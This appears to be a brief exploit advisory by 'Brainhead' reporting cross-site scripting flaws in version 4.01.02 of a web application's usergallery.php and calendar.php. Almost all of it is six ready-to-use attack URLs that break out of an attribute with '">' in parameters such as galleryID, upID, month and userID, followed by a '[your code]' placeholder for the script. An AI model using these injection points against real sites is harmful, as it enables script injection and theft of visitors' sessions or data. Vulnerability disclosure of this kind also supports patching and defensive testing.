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Autor: Brainhead                                               
Type: XSS                                                   
Version:  4.01.02                               
Files: usergallery.php, calendar.php                        
Magic Quotes :off                                         
###################
Examples:

http://site.tld/[PATH]/index.php?site=usergallery&action=upload&galleryID=">[your code]
http://site.tld/[PATH]/index.php?site=calendar&action=announce&upID=">[your code]
http://site.tld/[PATH]/index.php?site=calendar&action=announce&tag=">[your code]
http://site.tld/[PATH]/index.php?site=calendar&action=announce&month=">[your code]
http://site.tld/[PATH]/index.php?site=calendar&action=announce&userID=">[your code]
http://site.tld/[PATH]/index.php?site=calendar&action=announce&year=">[your code]